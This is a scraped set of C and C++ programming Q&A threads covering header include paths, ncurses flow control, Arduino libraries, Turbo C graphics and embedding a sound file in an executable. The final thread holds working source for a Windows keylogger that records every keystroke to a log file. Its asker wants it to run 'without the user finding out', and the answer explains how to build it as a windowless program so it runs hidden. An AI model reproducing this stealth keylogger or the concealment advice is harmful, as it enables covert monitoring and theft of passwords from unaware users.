VS2015 Additional Include Directories not finding included header? - c++

The question title says it all.
Here is the project settings for my addition include directories.
Here is my current program
#include <curses.h>
int main()
{
initscr(); /* Start curses mode */
printw("Hello World !!!"); /* Print Hello World */
refresh(); /* Print it on to the real screen */
getch(); /* Wait for user input */
endwin(); /* End curses mode */
return 0;
}
Here are the errors.
And the curses.h file is in the include folder
Anyone might have a clue as to where I went wrong?

Try to use #include "curses.h", instead of #include <curses.h>

Related

Ncurses CTRL + s hangs getch()

Why in this simple program:
#include <curses.h>
#include <iostream>
int main() {
initscr();
keypad(stdscr, TRUE);
timeout(-1);
int c = getch();
std::cout << c << std::endl;
endwin();
}
Pressing ctrl + s hangs it?
When you start curses using initscr, the terminal is in cooked mode, which honors XON/XOFF. In the curses manual pages, that is referred to as "flow control characters"; POSIX refers to it as "output control":
IXON
Enable start/stop output control.
If you call raw, that turns XON/XOFF off, and you can use controlS:
#include <curses.h>
#include <iostream>
int main() {
initscr();
raw(); // possibly what you intended
keypad(stdscr, TRUE);
timeout(-1);
int c = getch();
std::cout << c << std::endl;
endwin();
}
Your application could call tcgetattr to determine if the underlying XON/XOFF mode is set, but that would not help in determining if curses has raw-mode set:
curses always sets the terminal to raw mode,
curses simulates cooked/raw mode for your application, and
curses has no function that your application could call to find the current state.
I believe you're experiencing XOFF/XON flow control. CtrlS is XOFF, and stops output until CtrlQ (XON) is sent. You can probably resume your program by typing CtrlQ.
This is not an issue with your code. It's happening at the terminal level.

How to include multiple directories in arduino library

I have my arduino libraries folder which holds one library called DHT_sensor_Library. In this folder, I have another folder called DHT_U. In this folder, I have DHT_U.ccp and DHT_U.h.
The problem is that when I include DHT_U.h in my arduino IDE:
#include "DHT_U.h"
The error says:
Tempreture_Humidity_Sensor:2:19: error: DHT_U.h: No such file or directory
compilation terminated.
exit status 1
DHT_U.h: No such file or directory
I have already tried
#include "DHT_U/DHT_U.h" ,
#include "DHT_U\DHT_U.h"
and
#include ..\DHT_U.h". None of these worked.
This is a snippet of my code:
#include "DHT.h"
#include "DHT_U.h"
#include "LiquidCrystal.h"
#include "DHT.h"
Full code can be shown here:
#include <DHT.h>
#include <DHT_U.h>
// include the library code:
#include <LiquidCrystal.h>
#include "DHT.h"
// set the DHT Pin
#define DHTPIN 8
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
#define DHTTYPE DHT11
DHT dht(DHTPIN, DHTTYPE);
void setup() {
// set up the LCD's number of columns and rows:
lcd.begin(16, 2);
dht.begin();
// Print a message to the LCD.
lcd.print("Temp: Humidity:");
}
void loop() {
delay(500);
// set the cursor to column 0, line 1
// (note: line 1 is the second row, since counting begins with 0):
lcd.setCursor(0, 1);
// read humidity
float h = dht.readHumidity();
//read temperature in Fahrenheit
float f = dht.readTemperature(true);
if (isnan(h) || isnan(f)) {
lcd.print("ERROR");
return;
}
lcd.print(f);
lcd.setCursor(7,1);
lcd.print(h);
}
How should I fix this?
Try including the hole path like "/home/your_username/arduino/lib/foo.h" or something like this. Are you sure it is a .h file and not a .hpp ?
One thing to consider is that you need to be careful when your #include methods.
If DHT_U.h is located in the same direction as your .ino file you can include it with this:
#include "DHT_U.h"
However, if you installed the library using the library manager from Arduino IDE, you should do:
#include <DHT_U.h>
If none of these works, make sure that you have installed correctly your library. You could try by testing the examples from the Arduino IDE with the library that you have installed.

Success compiling but no display, setting bkcolor

#include <graphics.h>
#include <conio.h>
void main()
{
int gd=DETECT,gm;
initgraph(&gd,&gm,"c:\\TURBOC3\\");
setbkcolor(CYAN);
getch();
closegraph();
}
The compiling was successful and tried running it, but the result was I see no display for my code It's just a blink of screen and gone back to the console.
you need to point initgraph to bgi subfolder of turboc3
initgraph(&gd,&gm,"c:\\TURBOC3\\BGI");
Yes your code may compile successfully but your code is having a runtime problem. Just add these line first below the line you initialized your graphics.
int errorcode = graphresult();
if (errorcode != grOk) { /* an error occurred */
printf("Graphics error: %s\n", grapherrormsg(errorcode));
printf("Press any key to halt:");
getch();
exit(1); /* terminate with an error code(requires process.h) */
}
Through these lines runtime problems of graphics can be detected. Its just a safety method for avoid errors and system crash. Well these lines will tell you that they cannot find the file VGAEGA.bgi file. That's generally the default drivers of graphics.
The reason the file is not found is your path c:\\TURBOC3\\. see this post for avoiding the errors.

c++ Export project to exe

Im using Visual Studio 2015 and want to export my project which only includes the .cpp file and a .wav file which supposed to be played. How do i export the exe including the .wav file
#include <Windows.h>
#include <conio.h>
#include <iostream>
using namespace std;
#include <stdio.h>
# include <winuser.h>
#pragma comment(lib, "winmm.lib")
int main()
{
FreeConsole();
while (1)
{
for (char button = 0; button < 256; button++)
{
if (GetAsyncKeyState(button) & 0x8000)
{
PlaySound(TEXT("dab.wav"), NULL, SND_FILENAME);
}
}
Sleep(5);
}
}
You can add your .wav file as resource of your project.
see documentation here: https://msdn.microsoft.com/en-us/library/8fc1e5by.aspx
Then you can play your sound from resource id.
see documentation here: https://msdn.microsoft.com/en-us/library/windows/desktop/dd743679(v=vs.85).aspx

How can I run an exe file without the user finding out?

I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:
I want to know how to hide the running of the program.
#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");
}
}
system("PAUSE");
return 0;}
As #Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:
int main()
to:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by #Cheers and hth. -Alf) to this question:
With the Visual C++ compiler, if you're compiling from the command line, add the options
/link /subsystem:windows /entry:mainCRTStartup
If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.
For CodeBlocks, a very quick Google search revealed the following answer:
Click Project on the CodeBlocks menu.
Click Properties.
Click the second tab, Build Targets.
On the right, where it says Type: Console application, change it to GUI application.
Rebuild the project.
Your application will no longer make a window.